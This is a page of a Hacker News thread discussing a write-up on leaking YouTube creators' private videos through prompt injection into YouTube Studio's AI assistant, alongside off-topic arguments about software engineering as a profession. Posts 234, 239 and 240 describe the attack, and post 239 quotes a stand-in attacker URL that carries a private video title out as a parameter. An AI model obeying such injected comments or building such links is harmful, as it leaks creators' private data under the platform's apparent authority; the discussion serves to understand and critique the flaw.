Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Leaking YouTube creators' private videos

javoriuski.com

Post reply on HN
Print view View original

231–240 of 436 posts

Re: Leaking YouTube creators' private videos

#231

Post by throwaway819782 »

NamTaf wrote: post #149
Mg6yDfjp5U wrote: post #10

I recently left Google having worked on a number of projects with various YouTube teams. I think I can explain why it's being handled this way by YouTube. This is a fairly nuanced/involved issue, so the task of classifying the bug likely made it's way to one of the engineers responsible for the implementation of this feature. That engineer has already launched this project, and filed it away under their GRAD (perform…

[flagged]

I wish I could upvote you more. A-fucking-men. The regard this group has for itself is so adorable at times.

Re: Leaking YouTube creators' private videos

#232

Post by youarenaive343 »

tryagainian wrote: post #227
sixtyj wrote: post #187

Earlier quoted context omitted.

The prejudice seems to be everywhere. Unfortunately, to my knowledge. Eg. architects vs construction engineers vs land surveyors vs construction designers vs urban planners… anyone of them thinks that their profession is more valuable than the others…

[flagged]

[flagged]

Re: Leaking YouTube creators' private videos

#233

Post by sutibb »

hiyfsch wrote: post #201
sixtyj wrote: post #187

Earlier quoted context omitted.

The prejudice seems to be everywhere. Unfortunately, to my knowledge. Eg. architects vs construction engineers vs land surveyors vs construction designers vs urban planners… anyone of them thinks that their profession is more valuable than the others…

[dead]

[dead]

Re: Leaking YouTube creators' private videos

#234

Post by CMay »

snailmailman wrote: post #174
CMay wrote: post #156

In the example provided of leaking a private video, you already need access to the private video to even comment on it. That scenario is not much of an exploit. Unless there's a better example of what can be abused, the more realistic concern is authority laundering where a command tricks YouTube into giving the user instructions that sound like they're coming from Google. Another risk is using it to get the AI to mi…

I think the comment can be left on any video on the channel?

Looking at it again, I think you are correct.

If you already know the ID of the video and it's a link-only video then you can go there yourself.

If it's a fully private video and somehow you know the ID of it, you might be able to use this to get more information about it. I don't know what Ask Studio can access.

The example given (which may be sanitized) is if you neither know the ID nor the title of a video, you can fish for it and get lucky depending on the ratio of private/public videos on the channel. If it can be prompted to take a list of private videos on the channel and URL encode them into a link the user clicks, then that is something.

I still think the worst thing about this is that it becomes a way to launder Google's authority to trick a user to follow your instructions. It might take some luck and be a numbers game, but there could be some fruit if this was abused at scale. Then again, if it got abused at scale, YouTube might start filtering out comments that look like this.

Re: Leaking YouTube creators' private videos

#235

Post by j-bos »

thaumasiotes wrote: post #207
hiyfsch wrote: post #201

Earlier quoted context omitted.

[dead]

> Honestly it’s hard to refute the fact that we need roads and houses more than we need cat videos. This is a fundamentalist perspective; it's hard to dispute that if we didn't have any roads, houses, or cat videos, we would need new roads more than we needed new cat videos. It's much easier to dispute the idea that we currently need new roads more than we need new cat videos; we already have a lot of roads.

Yeah and a lot of the guys who actually do the work of building roads learn and upskill off youtube.

Re: Leaking YouTube creators' private videos

#236

Post by Der_Einzige »

NamTaf wrote: post #149
Mg6yDfjp5U wrote: post #10

I recently left Google having worked on a number of projects with various YouTube teams. I think I can explain why it's being handled this way by YouTube. This is a fairly nuanced/involved issue, so the task of classifying the bug likely made it's way to one of the engineers responsible for the implementation of this feature. That engineer has already launched this project, and filed it away under their GRAD (perform…

[flagged]

Software should always be treated as the artisanal, crafts-person like work that it is. There is far more subjectivity and design/aesthetics (not relating to GUI, etc) in the design of software than most will admit.

Re: Leaking YouTube creators' private videos

#237

Post by sutibb »

jp_sc wrote: post #226
NamTaf wrote: post #149

Earlier quoted context omitted.

[flagged]

Last year alone, 40 people died in Spain in a train derailment. In total, how many people have died over the last 100 years because of something a software engineer did?

Take a look at the software integration in the average hospital and you'd be horrified

Re: Leaking YouTube creators' private videos

#238

Post by fathermarz »

rvba wrote: post #222
fathermarz wrote: post #157

Earlier quoted context omitted.

I think there is a fine line. YouTube is not critical software and no one’s life depends on the safety (putting mental health aside) of the code running. Some software engineers do however write code that is critical, but to your point, I don’t think they are ever considered liable. I went through an acquisition as a Canadian software developer getting acquired by an American company. They wanted us to be called engi…

I disagree. People's lives depend on money earned from youtube.

Revenue generating services aren’t the same as critical infrastructure. This bug, I would argue, does not hurt creator’s revenue in a substantial enough way to call it “safety”.

Re: Leaking YouTube creators' private videos

#239

Post by j-bos »

Conceptually I understand, but the specific example doesn't click for me >https://attacker-website.com/view/channel?video=BANG) replacing BANG with the title of a video on this channel.

>When the creator clicked the link, I received a request with the video title in the URL parameter. The creator didn't type anything or make any unusual decision. They just clicked what looked like a legitimate link given by YouTube itself.

That example assumes the malicious actor already has the video title but then cries about the danger of exposing private video titles. I get how it could be adjusted to maybe convince the llm to exfiltrate actually unknown information, but as I read it, they did not do that nor prove it would get through.

Re: Leaking YouTube creators' private videos

#240

Post by ian_d »

gavinray wrote: post #217

The described "attack" would not work, due to not triggering an HTTP request. When an LLM generates text, it does not send requests to URL-looking strings it generates to validate they are real/live. You'd never get your "ping" request.

The author is aware of that, the PoC requires interaction from the creator using the studio AI:

> When the creator clicked the link, I received a request with the video title in the URL parameter.

Post reply on HN